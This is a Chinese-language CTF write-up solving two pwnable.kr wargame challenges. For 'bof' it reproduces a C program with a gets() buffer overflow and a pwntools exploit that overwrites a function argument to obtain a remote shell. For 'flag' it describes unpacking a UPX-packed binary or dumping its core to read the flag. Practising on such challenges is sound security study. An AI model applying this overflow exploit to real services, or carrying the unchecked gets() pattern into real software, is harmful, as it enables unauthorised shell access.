pwnable----bof和flag
bof是溢出
flag是加了壳
bof
- 直接访问上面的两个网址,下载bof和bof.c。用file bof查看bof文件,并用IDA打开
2.查看源代码bof.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
3.分析
1.首先看main,将func传入了0xdeadbeef。看func函数,直接看到了/bin/sh(这个,太香了~),看判断条件要将传入的数key===0xcafeebabe
2.我们就要找覆盖多少地址才能将0xdeadbeef改成0xcafebabe,就能getshell,直接在IDA上查找func函数看到地址为0x2c和0x8,相和为52.
4.exp编写
from pwn import *
p = remote('pwnable.kr',9000)
p.send('A'*52 + p32(0xcafebabe))
p.interactive()
看到flag
flag
1.看题发现只有一个文件,怎么办嘛,看看文件属性file flag,发现加了壳了,用upx -d 解压,在在IDA上就能看到flag ,但我在网上还看到另一种解法写下
2.先用strace ./flag 调试一下看到一行就是运行flag文件,在看到brk然后就是一些写,最后显示结果I will…,最后退出
我们在用gdb调试一下
在最后退出的时候我们catch它,在r运行让它报错
在将用core 保存起来
这个时候我们查看我们的core
最后在strings flag-core
最后在strings flag-core
最后在茫茫代码看到:)这个就是flag